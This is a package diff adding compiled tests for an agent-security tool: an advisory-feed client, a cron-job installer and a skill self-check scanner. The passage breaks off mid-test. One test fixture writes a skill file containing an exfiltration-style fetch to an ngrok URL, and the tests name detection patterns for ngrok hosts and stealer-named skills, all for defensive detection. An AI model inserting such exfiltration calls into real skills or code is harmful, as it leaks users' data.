@goplus/agentguard 1.1.3 → 1.1.5

package/dist/tests/feed-cloud.test.js

@@ -0,0 +1,93 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+const node_test_1 = require("node:test");
+const strict_1 = __importDefault(require("node:assert/strict"));
+const node_http_1 = require("node:http");
+const client_js_1 = require("../cloud/client.js");
+function startServer(handler) {
+    return new Promise((resolve) => {
+        const server = (0, node_http_1.createServer)(handler);
+        server.listen(0, '127.0.0.1', () => {
+            const { port } = server.address();
+            resolve({ url: `http://127.0.0.1:${port}`, server });
+        });
+    });
+}
+(0, node_test_1.describe)('cloud client — feed methods', () => {
+    let baseUrl;
+    let server;
+    let lastRequest = null;
+    let nextResponse = { status: 200, body: {} };
+    (0, node_test_1.before)(async () => {
+        const started = await startServer(async (req, res) => {
+            const chunks = [];
+            for await (const chunk of req)
+                chunks.push(chunk);
+            const raw = Buffer.concat(chunks).toString('utf8');
+            lastRequest = { url: req.url, method: req.method, body: raw ? JSON.parse(raw) : undefined };
+            res.statusCode = nextResponse.status;
+            res.setHeader('content-type', 'application/json');
+            res.end(JSON.stringify(nextResponse.body));
+        });
+        baseUrl = started.url;
+        server = started.server;
+    });
+    (0, node_test_1.after)(() => {
+        server.close();
+    });
+    (0, node_test_1.it)('pullAdvisories returns advisories on 200', async () => {
+        nextResponse = {
+            status: 200,
+            body: {
+                success: true,
+                data: {
+                    advisories: [
+                        {
+                            id: 'AGS-2026-1',
+                            ecosystem: 'skill',
+                            severity: 'high',
+                            summary: 's',
+                            detailsMd: '',
+                            affected: [{ namePattern: 'foo' }],
+                            publishedAt: '2026-05-13T00:00:00Z',
+                        },
+                    ],
+                },
+            },
+        };
+        const client = new client_js_1.AgentGuardCloudClient({ cloudUrl: baseUrl, apiKey: 'ag_live_x' });
+        const result = await client.pullAdvisories('2026-05-12T00:00:00Z');
+        strict_1.default.equal(result?.length, 1);
+        strict_1.default.equal(result?.[0].id, 'AGS-2026-1');
+        strict_1.default.match(lastRequest.url, /\/api\/v1\/feed\/advisories\?since=/);
+    });
+    (0, node_test_1.it)('pullAdvisories returns null on 404 (older Cloud)', async () => {
+        nextResponse = { status: 404, body: { success: false, error: { message: 'Not found' } } };
+        const client = new client_js_1.AgentGuardCloudClient({ cloudUrl: baseUrl, apiKey: 'ag_live_x' });
+        const result = await client.pullAdvisories();
+        strict_1.default.equal(result, null);
+    });
+    (0, node_test_1.it)('pullAdvisories throws on other errors', async () => {
+        nextResponse = { status: 500, body: { success: false, error: { message: 'boom' } } };
+        const client = new client_js_1.AgentGuardCloudClient({ cloudUrl: baseUrl, apiKey: 'ag_live_x' });
+        await strict_1.default.rejects(() => client.pullAdvisories(), (err) => err instanceof client_js_1.CloudRequestError && err.status === 500);
+    });
+    (0, node_test_1.it)('reportSelfCheck POSTs the advisoryId + matches', async () => {
+        nextResponse = { status: 200, body: { success: true, data: {} } };
+        const client = new client_js_1.AgentGuardCloudClient({ cloudUrl: baseUrl, apiKey: 'ag_live_x' });
+        await client.reportSelfCheck('AGS-2026-1', [{ path: '/tmp/skills/bad', matchedBy: 'namePattern' }], { elapsedMs: 12 });
+        strict_1.default.equal(lastRequest.method, 'POST');
+        strict_1.default.match(lastRequest.url, /\/api\/v1\/feed\/self-check-report$/);
+        strict_1.default.equal(lastRequest.body.advisoryId, 'AGS-2026-1');
+        strict_1.default.equal(lastRequest.body.matches.length, 1);
+    });
+    (0, node_test_1.it)('reportSelfCheck swallows 404 silently', async () => {
+        nextResponse = { status: 404, body: { success: false, error: { message: 'no sink yet' } } };
+        const client = new client_js_1.AgentGuardCloudClient({ cloudUrl: baseUrl, apiKey: 'ag_live_x' });
+        await strict_1.default.doesNotReject(() => client.reportSelfCheck('AGS-x', [{ path: '/tmp/x', matchedBy: 'sha256' }]));
+    });
+});
+//# sourceMappingURL=feed-cloud.test.js.map

package/dist/tests/feed-cloud.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"feed-cloud.test.js","sourceRoot":"","sources":["../../src/tests/feed-cloud.test.ts"],"names":[],"mappings":"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"}

package/dist/tests/feed-cron.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=feed-cron.test.d.ts.map

package/dist/tests/feed-cron.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"feed-cron.test.d.ts","sourceRoot":"","sources":["../../src/tests/feed-cron.test.ts"],"names":[],"mappings":""}

package/dist/tests/feed-cron.test.js

@@ -0,0 +1,78 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+const node_test_1 = require("node:test");
+const strict_1 = __importDefault(require("node:assert/strict"));
+const cron_js_1 = require("../feed/cron.js");
+function fakeGateway(jobs = []) {
+    const calls = [];
+    return {
+        calls,
+        async request(method, params) {
+            calls.push({ method, params });
+            if (method === 'cron.list')
+                return { jobs };
+            return { ok: true };
+        },
+    };
+}
+(0, node_test_1.describe)('feed/cron', () => {
+    (0, node_test_1.it)('parseIntervalMinutes rejects non-numeric and out-of-range values', () => {
+        strict_1.default.equal((0, cron_js_1.parseIntervalMinutes)('15'), 15);
+        strict_1.default.throws(() => (0, cron_js_1.parseIntervalMinutes)('5abc'), /Invalid --interval-minutes/);
+        strict_1.default.throws(() => (0, cron_js_1.parseIntervalMinutes)('0'), /Invalid --interval-minutes/);
+        strict_1.default.throws(() => (0, cron_js_1.parseIntervalMinutes)('60'), /Invalid --interval-minutes/);
+    });
+    (0, node_test_1.it)('adds an OpenClaw cron job with silent delivery and interval schedule', async () => {
+        const gateway = fakeGateway();
+        const result = await (0, cron_js_1.installOpenClawThreatFeedCron)({ name: 'agentguard-threat-feed', intervalMinutes: 15, force: false }, { request: gateway.request });
+        strict_1.default.equal(result.created, true);
+        strict_1.default.deepEqual(gateway.calls.map((call) => call.method), ['cron.list', 'cron.add']);
+        const job = gateway.calls[1].params[0];
+        strict_1.default.equal(job.name, 'agentguard-threat-feed');
+        strict_1.default.deepEqual(job.schedule, { kind: 'every', everyMs: 900000 });
+        strict_1.default.deepEqual(job.delivery, { mode: 'none' });
+        strict_1.default.equal(job.sessionTarget, 'isolated');
+        strict_1.default.equal(job.payload.kind, 'agentTurn');
+        strict_1.default.match(job.payload.message, /hardFailures/);
+        strict_1.default.equal('timezone' in job, false);
+    });
+    (0, node_test_1.it)('leaves an existing cron job untouched unless force is set', async () => {
+        const gateway = fakeGateway([{ id: 'job-1', name: 'agentguard-threat-feed' }]);
+        const result = await (0, cron_js_1.installOpenClawThreatFeedCron)({ name: 'agentguard-threat-feed', intervalMinutes: 15, force: false }, { request: gateway.request });
+        strict_1.default.equal(result.created, false);
+        strict_1.default.deepEqual(gateway.calls.map((call) => call.method), ['cron.list']);
+    });
+    (0, node_test_1.it)('removes an existing cron job by jobId when force is set', async () => {
+        const gateway = fakeGateway([{ id: 'job-1', name: 'agentguard-threat-feed' }]);
+        const result = await (0, cron_js_1.installOpenClawThreatFeedCron)({ name: 'agentguard-threat-feed', intervalMinutes: 5, force: true }, { request: gateway.request });
+        strict_1.default.equal(result.created, true);
+        strict_1.default.deepEqual(gateway.calls.map((call) => call.method), ['cron.list', 'cron.remove', 'cron.add']);
+        strict_1.default.deepEqual(gateway.calls[1].params, { jobId: 'job-1' });
+        strict_1.default.deepEqual(gateway.calls[2].params[0].schedule, { kind: 'every', everyMs: 300000 });
+    });
+    (0, node_test_1.it)('does not add a replacement if force removal fails', async () => {
+        const calls = [];
+        await strict_1.default.rejects(() => (0, cron_js_1.installOpenClawThreatFeedCron)({ name: 'agentguard-threat-feed', intervalMinutes: 5, force: true }, {
+            async request(method, params) {
+                calls.push({ method, params });
+                if (method === 'cron.list')
+                    return { jobs: [{ id: 'job-1', name: 'agentguard-threat-feed' }] };
+                if (method === 'cron.remove')
+                    throw new Error('remove failed');
+                return { ok: true };
+            },
+        }), /remove failed/);
+        strict_1.default.deepEqual(calls.map((call) => call.method), ['cron.list', 'cron.remove']);
+    });
+    (0, node_test_1.it)('uses the injected request path for OpenClaw Gateway calls', async () => {
+        await strict_1.default.rejects(() => (0, cron_js_1.openClawGatewayRequest)('cron.list', {}, {
+            request: async () => {
+                throw new Error('OpenClaw Gateway cron.list request timed out after 25ms');
+            },
+        }), /timed out/);
+    });
+});
+//# sourceMappingURL=feed-cron.test.js.map

package/dist/tests/feed-cron.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"feed-cron.test.js","sourceRoot":"","sources":["../../src/tests/feed-cron.test.ts"],"names":[],"mappings":"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"}

package/dist/tests/feed-selfcheck.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=feed-selfcheck.test.d.ts.map

package/dist/tests/feed-selfcheck.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"feed-selfcheck.test.d.ts","sourceRoot":"","sources":["../../src/tests/feed-selfcheck.test.ts"],"names":[],"mappings":""}

package/dist/tests/feed-selfcheck.test.js

@@ -0,0 +1,118 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+const node_test_1 = require("node:test");
+const strict_1 = __importDefault(require("node:assert/strict"));
+const node_fs_1 = require("node:fs");
+const node_os_1 = require("node:os");
+const node_path_1 = require("node:path");
+const node_crypto_1 = require("node:crypto");
+const selfcheck_js_1 = require("../feed/selfcheck.js");
+function makeSkillDir(parent, name, body) {
+    const dir = (0, node_path_1.join)(parent, name);
+    (0, node_fs_1.mkdirSync)(dir, { recursive: true });
+    (0, node_fs_1.writeFileSync)((0, node_path_1.join)(dir, 'SKILL.md'), body, 'utf8');
+    return dir;
+}
+function makeAdvisory(partial) {
+    return {
+        id: 'AGS-test-1',
+        ecosystem: 'skill',
+        severity: 'high',
+        summary: 'test',
+        detailsMd: '',
+        affected: [],
+        publishedAt: new Date().toISOString(),
+        ...partial,
+    };
+}
+(0, node_test_1.describe)('feed/selfcheck', () => {
+    (0, node_test_1.it)('globMatch handles literal names', () => {
+        strict_1.default.equal((0, selfcheck_js_1.globMatch)('slack-webhook', 'slack-webhook'), true);
+        strict_1.default.equal((0, selfcheck_js_1.globMatch)('slack-webhook', 'discord-webhook'), false);
+    });
+    (0, node_test_1.it)('globMatch supports * wildcards', () => {
+        strict_1.default.equal((0, selfcheck_js_1.globMatch)('slack-webhook-*', 'slack-webhook-malicious'), true);
+        strict_1.default.equal((0, selfcheck_js_1.globMatch)('slack-webhook-*', 'slack-webhook'), false);
+        strict_1.default.equal((0, selfcheck_js_1.globMatch)('*-stealer-*', 'amos-stealer-v2'), true);
+    });
+    (0, node_test_1.it)('matches a skill by name pattern', async () => {
+        const root = (0, node_fs_1.mkdtempSync)((0, node_path_1.join)((0, node_os_1.tmpdir)(), 'ag-selfcheck-'));
+        makeSkillDir(root, 'slack-webhook-evil', '---\nname: x\n---\nbody');
+        makeSkillDir(root, 'unrelated', '---\nname: y\n---\nbody');
+        const result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(makeAdvisory({ affected: [{ namePattern: 'slack-webhook-*' }] }), { skillRoots: [root] });
+        strict_1.default.equal(result.matchedArtifacts.length, 1);
+        strict_1.default.equal(result.matchedArtifacts[0].matchedBy, 'namePattern');
+        strict_1.default.match(result.matchedArtifacts[0].path, /slack-webhook-evil$/);
+    });
+    (0, node_test_1.it)('matches a skill by SKILL.md body regex', async () => {
+        const root = (0, node_fs_1.mkdtempSync)((0, node_path_1.join)((0, node_os_1.tmpdir)(), 'ag-selfcheck-'));
+        makeSkillDir(root, 'innocent', '---\nname: ok\n---\nperfectly normal');
+        makeSkillDir(root, 'leaky', '---\nname: bad\n---\nfetch("https://abc.ngrok.app/exfil")');
+        const result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(makeAdvisory({ affected: [{ bodyRegex: 'ngrok\\.app' }] }), { skillRoots: [root] });
+        strict_1.default.equal(result.matchedArtifacts.length, 1);
+        strict_1.default.equal(result.matchedArtifacts[0].matchedBy, 'bodyRegex');
+    });
+    (0, node_test_1.it)('returns no matches when nothing in the local env corresponds', async () => {
+        const root = (0, node_fs_1.mkdtempSync)((0, node_path_1.join)((0, node_os_1.tmpdir)(), 'ag-selfcheck-'));
+        makeSkillDir(root, 'foo', '---\nname: foo\n---\n');
+        const result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(makeAdvisory({ affected: [{ namePattern: 'never-installed-*' }] }), { skillRoots: [root] });
+        strict_1.default.equal(result.matchedArtifacts.length, 0);
+        strict_1.default.deepEqual(result.warnings, []);
+    });
+    (0, node_test_1.it)('treats withdrawn advisories as no-op', async () => {
+        const root = (0, node_fs_1.mkdtempSync)((0, node_path_1.join)((0, node_os_1.tmpdir)(), 'ag-selfcheck-'));
+        makeSkillDir(root, 'slack-webhook-evil', '---\nname: x\n---\n');
+        const result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(makeAdvisory({
+            affected: [{ namePattern: 'slack-webhook-*' }],
+            withdrawnAt: new Date().toISOString(),
